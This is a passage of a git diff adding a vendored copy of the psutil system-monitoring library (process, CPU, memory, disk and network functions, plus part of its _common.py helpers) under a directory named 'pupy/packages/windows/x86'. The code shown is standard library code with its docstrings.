PID has been reused. + If recursive is True return all the parent descendants. + + Example (A == this process): + + A ─┐ + │ + ├─ B (child) ─┐ + │ └─ X (grandchild) ─┐ + │ └─ Y (great grandchild) + ├─ C (child) + └─ D (child) + + >>> import psutil + >>> p = psutil.Process() + >>> p.children() + B, C, D + >>> p.children(recursive=True) + B, X, Y, C, D + + Note that in the example above if process X disappears + process Y won't be listed as the reference to process A + is lost. + """ + if hasattr(_psplatform, 'ppid_map'): + # Windows only: obtain a {pid:ppid, ...} dict for all running + # processes in one shot (faster). + ppid_map = _psplatform.ppid_map() + else: + ppid_map = None + + ret = [] + if not recursive: + if ppid_map is None: + # 'slow' version, common to all platforms except Windows + for p in process_iter(): + try: + if p.ppid() == self.pid: + # if child happens to be older than its parent + # (self) it means child's PID has been reused + if self.create_time() <= p.create_time(): + ret.append(p) + except (NoSuchProcess, ZombieProcess): + pass + else: + # Windows only (faster) + for pid, ppid in ppid_map.items(): + if ppid == self.pid: + try: + child = Process(pid) + # if child happens to be older than its parent + # (self) it means child's PID has been reused + if self.create_time() <= child.create_time(): + ret.append(child) + except (NoSuchProcess, ZombieProcess): + pass + else: + # construct a dict where 'values' are all the processes + # having 'key' as their parent + table = collections.defaultdict(list) + if ppid_map is None: + for p in process_iter(): + try: + table[p.ppid()].append(p) + except (NoSuchProcess, ZombieProcess): + pass + else: + for pid, ppid in ppid_map.items(): + try: + p = Process(pid) + table[ppid].append(p) + except (NoSuchProcess, ZombieProcess): + pass + # At this point we have a mapping table where table[self.pid] + # are the current process' children. + # Below, we look for all descendants recursively, similarly + # to a recursive function call. + checkpids = [self.pid] + for pid in checkpids: + for child in table[pid]: + try: + # if child happens to be older than its parent + # (self) it means child's PID has been reused + intime = self.create_time() <= child.create_time() + except (NoSuchProcess, ZombieProcess): + pass + else: + if intime: + ret.append(child) + if child.pid not in checkpids: + checkpids.append(child.pid) + return ret + + def cpu_percent(self, interval=None): + """Return a float representing the current process CPU + utilization as a percentage. + + When interval is 0.0 or None (default) compares process times + to system CPU times elapsed since last call, returning + immediately (non-blocking). That means that the first time + this is called it will return a meaningful 0.0 value. + + When interval is > 0.0 compares process times to system CPU + times elapsed before and after the interval (blocking). + + In this case is recommended for accuracy that this function + be called with at least 0.1 seconds between calls. + + Examples: + + >>> import psutil + >>> p = psutil.Process(os.getpid()) + >>> # blocking + >>> p.cpu_percent(interval=1) + 2.0 + >>> # non-blocking (percentage since last call) + >>> p.cpu_percent(interval=None) + 2.9 + >>> + """ + blocking = interval is not None and interval > 0.0 + num_cpus = cpu_count() + if _POSIX: + def timer(): + return _timer() * num_cpus + else: + def timer(): + return sum(cpu_times()) + if blocking: + st1 = timer() + pt1 = self._proc.cpu_times() + time.sleep(interval) + st2 = timer() + pt2 = self._proc.cpu_times() + else: + st1 = self._last_sys_cpu_times + pt1 = self._last_proc_cpu_times + st2 = timer() + pt2 = self._proc.cpu_times() + if st1 is None or pt1 is None: + self._last_sys_cpu_times = st2 + self._last_proc_cpu_times = pt2 + return 0.0 + + delta_proc = (pt2.user - pt1.user) + (pt2.system - pt1.system) + delta_time = st2 - st1 + # reset values for next call in case of interval == None + self._last_sys_cpu_times = st2 + self._last_proc_cpu_times = pt2 + + try: + # The utilization split between all CPUs. + # Note: a percentage > 100 is legitimate as it can result + # from a process with multiple threads running on different + # CPU cores, see: + # http://stackoverflow.com/questions/1032357 + # https://github.com/giampaolo/psutil/issues/474 + overall_percent = ((delta_proc / delta_time) * 100) * num_cpus + except ZeroDivisionError: + # interval was too low + return 0.0 + else: + return round(overall_percent, 1) + + def cpu_times(self): + """Return a (user, system) namedtuple representing the + accumulated process time, in seconds. + This is the same as os.times() but per-process. + """ + return self._proc.cpu_times() + + def memory_info(self): + """Return a tuple representing RSS (Resident Set Size) and VMS + (Virtual Memory Size) in bytes. + + On UNIX RSS and VMS are the same values shown by 'ps'. + + On Windows RSS and VMS refer to "Mem Usage" and "VM Size" + columns of taskmgr.exe. + """ + return self._proc.memory_info() + + def memory_info_ex(self): + """Return a namedtuple with variable fields depending on the + platform representing extended memory information about + this process. All numbers are expressed in bytes. + """ + return self._proc.memory_info_ex() + + def memory_percent(self): + """Compare physical system memory to process resident memory + (RSS) and calculate process memory utilization as a percentage. + """ + rss = self._proc.memory_info()[0] + # use cached value if available + total_phymem = _TOTAL_PHYMEM or virtual_memory().total + try: + return (rss / float(total_phymem)) * 100 + except ZeroDivisionError: + return 0.0 + + def memory_maps(self, grouped=True): + """Return process' mapped memory regions as a list of namedtuples + whose fields are variable depending on the platform. + + If 'grouped' is True the mapped regions with the same 'path' + are grouped together and the different memory fields are summed. + + If 'grouped' is False every mapped region is shown as a single + entity and the namedtuple will also include the mapped region's + address space ('addr') and permission set ('perms'). + """ + it = self._proc.memory_maps() + if grouped: + d = {} + for tupl in it: + path = tupl[2] + nums = tupl[3:] + try: + d[path] = map(lambda x, y: x + y, d[path], nums) + except KeyError: + d[path] = nums + nt = _psplatform.pmmap_grouped + return [nt(path, *d[path]) for path in d] # NOQA + else: + nt = _psplatform.pmmap_ext + return [nt(*x) for x in it] + + def open_files(self): + """Return files opened by process as a list of + (path, fd) namedtuples including the absolute file name + and file descriptor number. + """ + return self._proc.open_files() + + def connections(self, kind='inet'): + """Return connections opened by process as a list of + (fd, family, type, laddr, raddr, status) namedtuples. + The 'kind' parameter filters for connections that match the + following criteria: + + Kind Value Connections using + inet IPv4 and IPv6 + inet4 IPv4 + inet6 IPv6 + tcp TCP + tcp4 TCP over IPv4 + tcp6 TCP over IPv6 + udp UDP + udp4 UDP over IPv4 + udp6 UDP over IPv6 + unix UNIX socket (both UDP and TCP protocols) + all the sum of all the possible families and protocols + """ + return self._proc.connections(kind) + + if _POSIX: + def _send_signal(self, sig): + if self.pid == 0: + # see "man 2 kill" + raise ValueError( + "preventing sending signal to process with PID 0 as it " + "would affect every process in the process group of the " + "calling process (os.getpid()) instead of PID 0") + try: + os.kill(self.pid, sig) + except OSError as err: + if err.errno == errno.ESRCH: + self._gone = True + raise NoSuchProcess(self.pid, self._name) + if err.errno in (errno.EPERM, errno.EACCES): + raise AccessDenied(self.pid, self._name) + raise + + @_assert_pid_not_reused + def send_signal(self, sig): + """Send a signal to process pre-emptively checking whether + PID has been reused (see signal module constants) . + On Windows only SIGTERM is valid and is treated as an alias + for kill(). + """ + if _POSIX: + self._send_signal(sig) + else: + if sig == signal.SIGTERM: + self._proc.kill() + # py >= 2.7 + elif sig in (getattr(signal, "CTRL_C_EVENT", object()), + getattr(signal, "CTRL_BREAK_EVENT", object())): + self._proc.send_signal(sig) + else: + raise ValueError( + "only SIGTERM, CTRL_C_EVENT and CTRL_BREAK_EVENT signals " + "are supported on Windows") + + @_assert_pid_not_reused + def suspend(self): + """Suspend process execution with SIGSTOP pre-emptively checking + whether PID has been reused. + On Windows this has the effect ot suspending all process threads. + """ + if _POSIX: + self._send_signal(signal.SIGSTOP) + else: + self._proc.suspend() + + @_assert_pid_not_reused + def resume(self): + """Resume process execution with SIGCONT pre-emptively checking + whether PID has been reused. + On Windows this has the effect of resuming all process threads. + """ + if _POSIX: + self._send_signal(signal.SIGCONT) + else: + self._proc.resume() + + @_assert_pid_not_reused + def terminate(self): + """Terminate the process with SIGTERM pre-emptively checking + whether PID has been reused. + On Windows this is an alias for kill(). + """ + if _POSIX: + self._send_signal(signal.SIGTERM) + else: + self._proc.kill() + + @_assert_pid_not_reused + def kill(self): + """Kill the current process with SIGKILL pre-emptively checking + whether PID has been reused. + """ + if _POSIX: + self._send_signal(signal.SIGKILL) + else: + self._proc.kill() + + def wait(self, timeout=None): + """Wait for process to terminate and, if process is a children + of os.getpid(), also return its exit code, else None. + + If the process is already terminated immediately return None + instead of raising NoSuchProcess. + + If timeout (in seconds) is specified and process is still alive + raise TimeoutExpired. + + To wait for multiple Process(es) use psutil.wait_procs(). + """ + if timeout is not None and not timeout >= 0: + raise ValueError("timeout must be a positive integer") + return self._proc.wait(timeout) + + +# ===================================================================== +# --- Popen class +# ===================================================================== + + +class Popen(Process): + """A more convenient interface to stdlib subprocess module. + It starts a sub process and deals with it exactly as when using + subprocess.Popen class but in addition also provides all the + properties and methods of psutil.Process class as a unified + interface: + + >>> import psutil + >>> from subprocess import PIPE + >>> p = psutil.Popen(["python", "-c", "print 'hi'"], stdout=PIPE) + >>> p.name() + 'python' + >>> p.uids() + user(real=1000, effective=1000, saved=1000) + >>> p.username() + 'giampaolo' + >>> p.communicate() + ('hi\n', None) + >>> p.terminate() + >>> p.wait(timeout=2) + 0 + >>> + + For method names common to both classes such as kill(), terminate() + and wait(), psutil.Process implementation takes precedence. + + Unlike subprocess.Popen this class pre-emptively checks wheter PID + has been reused on send_signal(), terminate() and kill() so that + you don't accidentally terminate another process, fixing + http://bugs.python.org/issue6973. + + For a complete documentation refer to: + http://docs.python.org/library/subprocess.html + """ + + def __init__(self, *args, **kwargs): + # Explicitly avoid to raise NoSuchProcess in case the process + # spawned by subprocess.Popen terminates too quickly, see: + # https://github.com/giampaolo/psutil/issues/193 + self.__subproc = subprocess.Popen(*args, **kwargs) + self._init(self.__subproc.pid, _ignore_nsp=True) + + def __dir__(self): + return sorted(set(dir(Popen) + dir(subprocess.Popen))) + + def __getattribute__(self, name): + try: + return object.__getattribute__(self, name) + except AttributeError: + try: + return object.__getattribute__(self.__subproc, name) + except AttributeError: + raise AttributeError("%s instance has no attribute '%s'" + % (self.__class__.__name__, name)) + + def wait(self, timeout=None): + if self.__subproc.returncode is not None: + return self.__subproc.returncode + ret = super(Popen, self).wait(timeout) + self.__subproc.returncode = ret + return ret + + +# ===================================================================== +# --- system processes related functions +# ===================================================================== + + +def pids(): + """Return a list of current running PIDs.""" + return _psplatform.pids() + + +def pid_exists(pid): + """Return True if given PID exists in the current process list. + This is faster than doing "pid in psutil.pids()" and + should be preferred. + """ + if pid < 0: + return False + elif pid == 0 and _POSIX: + # On POSIX we use os.kill() to determine PID existence. + # According to "man 2 kill" PID 0 has a special meaning + # though: it refers to <> and that is not we want + # to do here. + return pid in pids() + else: + return _psplatform.pid_exists(pid) + + +_pmap = {} + + +def process_iter(): + """Return a generator yielding a Process instance for all + running processes. + + Every new Process instance is only created once and then cached + into an internal table which is updated every time this is used. + + Cached Process instances are checked for identity so that you're + safe in case a PID has been reused by another process, in which + case the cached instance is updated. + + The sorting order in which processes are yielded is based on + their PIDs. + """ + def add(pid): + proc = Process(pid) + _pmap[proc.pid] = proc + return proc + + def remove(pid): + _pmap.pop(pid, None) + + a = set(pids()) + b = set(_pmap.keys()) + new_pids = a - b + gone_pids = b - a + + for pid in gone_pids: + remove(pid) + for pid, proc in sorted(list(_pmap.items()) + + list(dict.fromkeys(new_pids).items())): + try: + if proc is None: # new process + yield add(pid) + else: + # use is_running() to check whether PID has been reused by + # another process in which case yield a new Process instance + if proc.is_running(): + yield proc + else: + yield add(pid) + except NoSuchProcess: + remove(pid) + except AccessDenied: + # Process creation time can't be determined hence there's + # no way to tell whether the pid of the cached process + # has been reused. Just return the cached version. + if proc is None and pid in _pmap: + yield _pmap[pid] + else: + raise + + +def wait_procs(procs, timeout=None, callback=None): + """Convenience function which waits for a list of processes to + terminate. + + Return a (gone, alive) tuple indicating which processes + are gone and which ones are still alive. + + The gone ones will have a new 'returncode' attribute indicating + process exit status (may be None). + + 'callback' is a function which gets called every time a process + terminates (a Process instance is passed as callback argument). + + Function will return as soon as all processes terminate or when + timeout occurs. + + Typical use case is: + + - send SIGTERM to a list of processes + - give them some time to terminate + - send SIGKILL to those ones which are still alive + + Example: + + >>> def on_terminate(proc): + ... print("process {} terminated".format(proc)) + ... + >>> for p in procs: + ... p.terminate() + ... + >>> gone, alive = wait_procs(procs, timeout=3, callback=on_terminate) + >>> for p in alive: + ... p.kill() + """ + def check_gone(proc, timeout): + try: + returncode = proc.wait(timeout=timeout) + except TimeoutExpired: + pass + else: + if returncode is not None or not proc.is_running(): + proc.returncode = returncode + gone.add(proc) + if callback is not None: + callback(proc) + + if timeout is not None and not timeout >= 0: + msg = "timeout must be a positive integer, got %s" % timeout + raise ValueError(msg) + gone = set() + alive = set(procs) + if callback is not None and not callable(callback): + raise TypeError("callback %r is not a callable" % callable) + if timeout is not None: + deadline = _timer() + timeout + + while alive: + if timeout is not None and timeout <= 0: + break + for proc in alive: + # Make sure that every complete iteration (all processes) + # will last max 1 sec. + # We do this because we don't want to wait too long on a + # single process: in case it terminates too late other + # processes may disappear in the meantime and their PID + # reused. + max_timeout = 1.0 / len(alive) + if timeout is not None: + timeout = min((deadline - _timer()), max_timeout) + if timeout <= 0: + break + check_gone(proc, timeout) + else: + check_gone(proc, max_timeout) + alive = alive - gone + + if alive: + # Last attempt over processes survived so far. + # timeout == 0 won't make this function wait any further. + for proc in alive: + check_gone(proc, 0) + alive = alive - gone + + return (list(gone), list(alive)) + + +# ===================================================================== +# --- CPU related functions +# ===================================================================== + + +@memoize +def cpu_count(logical=True): + """Return the number of logical CPUs in the system (same as + os.cpu_count() in Python 3.4). + + If logical is False return the number of physical cores only + (e.g. hyper thread CPUs are excluded). + + Return None if undetermined. + + The return value is cached after first call. + If desired cache can be cleared like this: + + >>> psutil.cpu_count.cache_clear() + """ + if logical: + return _psplatform.cpu_count_logical() + else: + return _psplatform.cpu_count_physical() + + +def cpu_times(percpu=False): + """Return system-wide CPU times as a namedtuple. + Every CPU time represents the seconds the CPU has spent in the given mode. + The namedtuple's fields availability varies depending on the platform: + - user + - system + - idle + - nice (UNIX) + - iowait (Linux) + - irq (Linux, FreeBSD) + - softirq (Linux) + - steal (Linux >= 2.6.11) + - guest (Linux >= 2.6.24) + - guest_nice (Linux >= 3.2.0) + + When percpu is True return a list of namedtuples for each CPU. + First element of the list refers to first CPU, second element + to second CPU and so on. + The order of the list is consistent across calls. + """ + if not percpu: + return _psplatform.cpu_times() + else: + return _psplatform.per_cpu_times() + + +_last_cpu_times = cpu_times() +_last_per_cpu_times = cpu_times(percpu=True) + + +def cpu_percent(interval=None, percpu=False): + """Return a float representing the current system-wide CPU + utilization as a percentage. + + When interval is > 0.0 compares system CPU times elapsed before + and after the interval (blocking). + + When interval is 0.0 or None compares system CPU times elapsed + since last call or module import, returning immediately (non + blocking). That means the first time this is called it will + return a meaningless 0.0 value which you should ignore. + In this case is recommended for accuracy that this function be + called with at least 0.1 seconds between calls. + + When percpu is True returns a list of floats representing the + utilization as a percentage for each CPU. + First element of the list refers to first CPU, second element + to second CPU and so on. + The order of the list is consistent across calls. + + Examples: + + >>> # blocking, system-wide + >>> psutil.cpu_percent(interval=1) + 2.0 + >>> + >>> # blocking, per-cpu + >>> psutil.cpu_percent(interval=1, percpu=True) + [2.0, 1.0] + >>> + >>> # non-blocking (percentage since last call) + >>> psutil.cpu_percent(interval=None) + 2.9 + >>> + """ + global _last_cpu_times + global _last_per_cpu_times + blocking = interval is not None and interval > 0.0 + + def calculate(t1, t2): + t1_all = sum(t1) + t1_busy = t1_all - t1.idle + + t2_all = sum(t2) + t2_busy = t2_all - t2.idle + + # this usually indicates a float precision issue + if t2_busy <= t1_busy: + return 0.0 + + busy_delta = t2_busy - t1_busy + all_delta = t2_all - t1_all + busy_perc = (busy_delta / all_delta) * 100 + return round(busy_perc, 1) + + # system-wide usage + if not percpu: + if blocking: + t1 = cpu_times() + time.sleep(interval) + else: + t1 = _last_cpu_times + _last_cpu_times = cpu_times() + return calculate(t1, _last_cpu_times) + # per-cpu usage + else: + ret = [] + if blocking: + tot1 = cpu_times(percpu=True) + time.sleep(interval) + else: + tot1 = _last_per_cpu_times + _last_per_cpu_times = cpu_times(percpu=True) + for t1, t2 in zip(tot1, _last_per_cpu_times): + ret.append(calculate(t1, t2)) + return ret + + +# Use separate global vars for cpu_times_percent() so that it's +# independent from cpu_percent() and they can both be used within +# the same program. +_last_cpu_times_2 = _last_cpu_times +_last_per_cpu_times_2 = _last_per_cpu_times + + +def cpu_times_percent(interval=None, percpu=False): + """Same as cpu_percent() but provides utilization percentages + for each specific CPU time as is returned by cpu_times(). + For instance, on Linux we'll get: + + >>> cpu_times_percent() + cpupercent(user=4.8, nice=0.0, system=4.8, idle=90.5, iowait=0.0, + irq=0.0, softirq=0.0, steal=0.0, guest=0.0, guest_nice=0.0) + >>> + + interval and percpu arguments have the same meaning as in + cpu_percent(). + """ + global _last_cpu_times_2 + global _last_per_cpu_times_2 + blocking = interval is not None and interval > 0.0 + + def calculate(t1, t2): + nums = [] + all_delta = sum(t2) - sum(t1) + for field in t1._fields: + field_delta = getattr(t2, field) - getattr(t1, field) + try: + field_perc = (100 * field_delta) / all_delta + except ZeroDivisionError: + field_perc = 0.0 + field_perc = round(field_perc, 1) + # CPU times are always supposed to increase over time + # or at least remain the same and that's because time + # cannot go backwards. + # Surprisingly sometimes this might not be the case (at + # least on Windows and Linux), see: + # https://github.com/giampaolo/psutil/issues/392 + # https://github.com/giampaolo/psutil/issues/645 + # I really don't know what to do about that except + # forcing the value to 0 or 100. + if field_perc > 100.0: + field_perc = 100.0 + # `<=` because `-0.0 == 0.0` evaluates to True + elif field_perc <= 0.0: + field_perc = 0.0 + nums.append(field_perc) + return _psplatform.scputimes(*nums) + + # system-wide usage + if not percpu: + if blocking: + t1 = cpu_times() + time.sleep(interval) + else: + t1 = _last_cpu_times_2 + _last_cpu_times_2 = cpu_times() + return calculate(t1, _last_cpu_times_2) + # per-cpu usage + else: + ret = [] + if blocking: + tot1 = cpu_times(percpu=True) + time.sleep(interval) + else: + tot1 = _last_per_cpu_times_2 + _last_per_cpu_times_2 = cpu_times(percpu=True) + for t1, t2 in zip(tot1, _last_per_cpu_times_2): + ret.append(calculate(t1, t2)) + return ret + + +# ===================================================================== +# --- system memory related functions +# ===================================================================== + + +def virtual_memory(): + """Return statistics about system memory usage as a namedtuple + including the following fields, expressed in bytes: + + - total: + total physical memory available. + + - available: + the actual amount of available memory that can be given + instantly to processes that request more memory in bytes; this + is calculated by summing different memory values depending on + the platform (e.g. free + buffers + cached on Linux) and it is + supposed to be used to monitor actual memory usage in a cross + platform fashion. + + - percent: + the percentage usage calculated as (total - available) / total * 100 + + - used: + memory used, calculated differently depending on the platform and + designed for informational purposes only: + OSX: active + inactive + wired + BSD: active + wired + cached + LINUX: total - free + + - free: + memory not being used at all (zeroed) that is readily available; + note that this doesn't reflect the actual memory available + (use 'available' instead) + + Platform-specific fields: + + - active (UNIX): + memory currently in use or very recently used, and so it is in RAM. + + - inactive (UNIX): + memory that is marked as not used. + + - buffers (BSD, Linux): + cache for things like file system metadata. + + - cached (BSD, OSX): + cache for various things. + + - wired (OSX, BSD): + memory that is marked to always stay in RAM. It is never moved to disk. + + - shared (BSD): + memory that may be simultaneously accessed by multiple processes. + + The sum of 'used' and 'available' does not necessarily equal total. + On Windows 'available' and 'free' are the same. + """ + global _TOTAL_PHYMEM + ret = _psplatform.virtual_memory() + # cached for later use in Process.memory_percent() + _TOTAL_PHYMEM = ret.total + return ret + + +def swap_memory(): + """Return system swap memory statistics as a namedtuple including + the following fields: + + - total: total swap memory in bytes + - used: used swap memory in bytes + - free: free swap memory in bytes + - percent: the percentage usage + - sin: no. of bytes the system has swapped in from disk (cumulative) + - sout: no. of bytes the system has swapped out from disk (cumulative) + + 'sin' and 'sout' on Windows are meaningless and always set to 0. + """ + return _psplatform.swap_memory() + + +# ===================================================================== +# --- disks/paritions related functions +# ===================================================================== + + +def disk_usage(path): + """Return disk usage statistics about the given path as a namedtuple + including total, used and free space expressed in bytes plus the + percentage usage. + """ + return _psplatform.disk_usage(path) + + +def disk_partitions(all=False): + """Return mounted partitions as a list of + (device, mountpoint, fstype, opts) namedtuple. + 'opts' field is a raw string separated by commas indicating mount + options which may vary depending on the platform. + + If "all" parameter is False return physical devices only and ignore + all others. + """ + return _psplatform.disk_partitions(all) + + +def disk_io_counters(perdisk=False): + """Return system disk I/O statistics as a namedtuple including + the following fields: + + - read_count: number of reads + - write_count: number of writes + - read_bytes: number of bytes read + - write_bytes: number of bytes written + - read_time: time spent reading from disk (in milliseconds) + - write_time: time spent writing to disk (in milliseconds) + + If perdisk is True return the same information for every + physical disk installed on the system as a dictionary + with partition names as the keys and the namedtuple + described above as the values. + + On recent Windows versions 'diskperf -y' command may need to be + executed first otherwise this function won't find any disk. + """ + rawdict = _psplatform.disk_io_counters() + if not rawdict: + raise RuntimeError("couldn't find any physical disk") + if perdisk: + for disk, fields in rawdict.items(): + rawdict[disk] = _common.sdiskio(*fields) + return rawdict + else: + return _common.sdiskio(*[sum(x) for x in zip(*rawdict.values())]) + + +# ===================================================================== +# --- network related functions +# ===================================================================== + + +def net_io_counters(pernic=False): + """Return network I/O statistics as a namedtuple including + the following fields: + + - bytes_sent: number of bytes sent + - bytes_recv: number of bytes received + - packets_sent: number of packets sent + - packets_recv: number of packets received + - errin: total number of errors while receiving + - errout: total number of errors while sending + - dropin: total number of incoming packets which were dropped + - dropout: total number of outgoing packets which were dropped + (always 0 on OSX and BSD) + + If pernic is True return the same information for every + network interface installed on the system as a dictionary + with network interface names as the keys and the namedtuple + described above as the values. + """ + rawdict = _psplatform.net_io_counters() + if not rawdict: + raise RuntimeError("couldn't find any network interface") + if pernic: + for nic, fields in rawdict.items(): + rawdict[nic] = _common.snetio(*fields) + return rawdict + else: + return _common.snetio(*[sum(x) for x in zip(*rawdict.values())]) + + +def net_connections(kind='inet'): + """Return system-wide connections as a list of + (fd, family, type, laddr, raddr, status, pid) namedtuples. + In case of limited privileges 'fd' and 'pid' may be set to -1 + and None respectively. + The 'kind' parameter filters for connections that fit the + following criteria: + + Kind Value Connections using + inet IPv4 and IPv6 + inet4 IPv4 + inet6 IPv6 + tcp TCP + tcp4 TCP over IPv4 + tcp6 TCP over IPv6 + udp UDP + udp4 UDP over IPv4 + udp6 UDP over IPv6 + unix UNIX socket (both UDP and TCP protocols) + all the sum of all the possible families and protocols + + On OSX this function requires root privileges. + """ + return _psplatform.net_connections(kind) + + +def net_if_addrs(): + """Return the addresses associated to each NIC (network interface + card) installed on the system as a dictionary whose keys are the + NIC names and value is a list of namedtuples for each address + assigned to the NIC. Each namedtuple includes 5 fields: + + - family + - address + - netmask + - broadcast + - ptp + + 'family' can be either socket.AF_INET, socket.AF_INET6 or + psutil.AF_LINK, which refers to a MAC address. + 'address' is the primary address and it is always set. + 'netmask' and 'broadcast' and 'ptp' may be None. + 'ptp' stands for "point to point" and references the destination + address on a point to point interface (tipically a VPN). + 'broadcast' and 'ptp' are mutually exclusive. + + Note: you can have more than one address of the same family + associated with each interface. + """ + has_enums = sys.version_info >= (3, 4) + if has_enums: + import socket + rawlist = _psplatform.net_if_addrs() + rawlist.sort(key=lambda x: x[1]) # sort by family + ret = collections.defaultdict(list) + for name, fam, addr, mask, broadcast, ptp in rawlist: + if has_enums: + try: + fam = socket.AddressFamily(fam) + except ValueError: + if os.name == 'nt' and fam == -1: + fam = _psplatform.AF_LINK + elif (hasattr(_psplatform, "AF_LINK") and + _psplatform.AF_LINK == fam): + # Linux defines AF_LINK as an alias for AF_PACKET. + # We re-set the family here so that repr(family) + # will show AF_LINK rather than AF_PACKET + fam = _psplatform.AF_LINK + ret[name].append(_common.snic(fam, addr, mask, broadcast, ptp)) + return dict(ret) + + +def net_if_stats(): + """Return information about each NIC (network interface card) + installed on the system as a dictionary whose keys are the + NIC names and value is a namedtuple with the following fields: + + - isup: whether the interface is up (bool) + - duplex: can be either NIC_DUPLEX_FULL, NIC_DUPLEX_HALF or + NIC_DUPLEX_UNKNOWN + - speed: the NIC speed expressed in mega bits (MB); if it can't + be determined (e.g. 'localhost') it will be set to 0. + - mtu: the maximum transmission unit expressed in bytes. + """ + return _psplatform.net_if_stats() + + +# ===================================================================== +# --- other system related functions +# ===================================================================== + + +def boot_time(): + """Return the system boot time expressed in seconds since the epoch.""" + # Note: we are not caching this because it is subject to + # system clock updates. + return _psplatform.boot_time() + + +def users(): + """Return users currently connected on the system as a list of + namedtuples including the following fields. + + - user: the name of the user + - terminal: the tty or pseudo-tty associated with the user, if any. + - host: the host name associated with the entry, if any. + - started: the creation time as a floating point number expressed in + seconds since the epoch. + """ + return _psplatform.users() + + +def test(): # pragma: no cover + """List info of all currently running processes emulating ps aux + output. + """ + import datetime + + today_day = datetime.date.today() + templ = "%-10s %5s %4s %4s %7s %7s %-13s %5s %7s %s" + attrs = ['pid', 'cpu_percent', 'memory_percent', 'name', 'cpu_times', + 'create_time', 'memory_info'] + if _POSIX: + attrs.append('uids') + attrs.append('terminal') + print(templ % ("USER", "PID", "%CPU", "%MEM", "VSZ", "RSS", "TTY", + "START", "TIME", "COMMAND")) + for p in process_iter(): + try: + pinfo = p.as_dict(attrs, ad_value='') + except NoSuchProcess: + pass + else: + if pinfo['create_time']: + ctime = datetime.datetime.fromtimestamp(pinfo['create_time']) + if ctime.date() == today_day: + ctime = ctime.strftime("%H:%M") + else: + ctime = ctime.strftime("%b%d") + else: + ctime = '' + cputime = time.strftime("%M:%S", + time.localtime(sum(pinfo['cpu_times']))) + try: + user = p.username() + except Error: + user = '' + if _WINDOWS and '\\' in user: + user = user.split('\\')[1] + vms = pinfo['memory_info'] and \ + int(pinfo['memory_info'].vms / 1024) or '?' + rss = pinfo['memory_info'] and \ + int(pinfo['memory_info'].rss / 1024) or '?' + memp = pinfo['memory_percent'] and \ + round(pinfo['memory_percent'], 1) or '?' + print(templ % ( + user[:10], + pinfo['pid'], + pinfo['cpu_percent'], + memp, + vms, + rss, + pinfo.get('terminal', '') or '?', + ctime, + cputime, + pinfo['name'].strip() or '?')) + + +del memoize, division +if sys.version_info < (3, 0): + del num + +if __name__ == "__main__": + test() diff --git a/pupy/packages/windows/x86/psutil/_common.py b/pupy/packages/windows/x86/psutil/_common.py new file mode 100755 index 00000000..9f5c06f2 --- /dev/null +++ b/pupy/packages/windows/x86/psutil/_common.py @@ -0,0 +1,246 @@ +# /usr/bin/env python + +# Copyright (c) 2009, Giampaolo Rodola'. All rights reserved. +# Use of this source code is governed by a BSD-style license that can be +# found in the LICENSE file. + +"""Common objects shared by all _ps* modules.""" + +from __future__ import division +import errno +import functools +import os +import socket +import stat +import sys +from collections import namedtuple +from socket import AF_INET, SOCK_STREAM, SOCK_DGRAM +try: + import threading +except ImportError: + import dummy_threading as threading + +if sys.version_info >= (3, 4): + import enum +else: + enum = None + + +# --- constants + +AF_INET6 = getattr(socket, 'AF_INET6', None) +AF_UNIX = getattr(socket, 'AF_UNIX', None) + +STATUS_RUNNING = "running" +STATUS_SLEEPING = "sleeping" +STATUS_DISK_SLEEP = "disk-sleep" +STATUS_STOPPED = "stopped" +STATUS_TRACING_STOP = "tracing-stop" +STATUS_ZOMBIE = "zombie" +STATUS_DEAD = "dead" +STATUS_WAKE_KILL = "wake-kill" +STATUS_WAKING = "waking" +STATUS_IDLE = "idle" # BSD +STATUS_LOCKED = "locked" # BSD +STATUS_WAITING = "waiting" # BSD + +CONN_ESTABLISHED = "ESTABLISHED" +CONN_SYN_SENT = "SYN_SENT" +CONN_SYN_RECV = "SYN_RECV" +CONN_FIN_WAIT1 = "FIN_WAIT1" +CONN_FIN_WAIT2 = "FIN_WAIT2" +CONN_TIME_WAIT = "TIME_WAIT" +CONN_CLOSE = "CLOSE" +CONN_CLOSE_WAIT = "CLOSE_WAIT" +CONN_LAST_ACK = "LAST_ACK" +CONN_LISTEN = "LISTEN" +CONN_CLOSING = "CLOSING" +CONN_NONE = "NONE" + +if enum is None: + NIC_DUPLEX_FULL = 2 + NIC_DUPLEX_HALF = 1 + NIC_DUPLEX_UNKNOWN = 0 +else: + class NicDuplex(enum.IntEnum): + NIC_DUPLEX_FULL = 2 + NIC_DUPLEX_HALF = 1 + NIC_DUPLEX_UNKNOWN = 0 + + globals().update(NicDuplex.__members__) + + +# --- functions + +def usage_percent(used, total, _round=None): + """Calculate percentage usage of 'used' against 'total'.""" + try: + ret = (used / total) * 100 + except ZeroDivisionError: + ret = 0 + if _round is not None: + return round(ret, _round) + else: + return ret + + +def memoize(fun): + """A simple memoize decorator for functions supporting (hashable) + positional arguments. + It also provides a cache_clear() function for clearing the cache: + + >>> @memoize + ... def foo() + ... return 1 + ... + >>> foo() + 1 + >>> foo.cache_clear() + >>> + """ + @functools.wraps(fun) + def wrapper(*args, **kwargs): + key = (args, frozenset(sorted(kwargs.items()))) + lock.acquire() + try: + try: + return cache[key] + except KeyError: + ret = cache[key] = fun(*args, **kwargs) + finally: + lock.release() + return ret + + def cache_clear(): + """Clear cache.""" + lock.acquire() + try: + cache.clear() + finally: + lock.release() + + lock = threading.RLock() + cache = {} + wrapper.cache_clear = cache_clear + return wrapper + + +def isfile_strict(path): + """Same as os.path.isfile() but does not swallow EACCES / EPERM + exceptions, see: + http://mail.python.org/pipermail/python-dev/2012-June/120787.html + """ + try: + st = os.stat(path) + except OSError as err: + if err.errno in (errno.EPERM, errno.EACCES): + raise + return False + else: + return stat.S_ISREG(st.st_mode) + + +def sockfam_to_enum(num): + """Convert a numeric socket family value to an IntEnum member. + If it's not a known member, return the numeric value itself. + """ + if enum is None: + return num + try: + return socket.AddressFamily(num) + except (ValueError, AttributeError): + return num + + +def socktype_to_enum(num): + """Convert a numeric socket type value to an IntEnum member. + If it's not a known member, return the numeric value itself. + """ + if enum is None: + return num + try: + return socket.AddressType(num) + except (ValueError, AttributeError): + return num + + +# --- Process.connections() 'kind' parameter mapping + +conn_tmap = { + "all": ([AF_INET, AF_INET6, AF_UNIX], [SOCK_STREAM, SOCK_DGRAM]), + "tcp": ([AF_INET, AF_INET6], [SOCK_STREAM]), + "tcp4": ([AF_INET], [SOCK_STREAM]), + "udp": ([AF_INET, AF_INET6], [SOCK_DGRAM]), + "udp4": ([AF_INET], [SOCK_DGRAM]), + "inet": ([AF_INET, 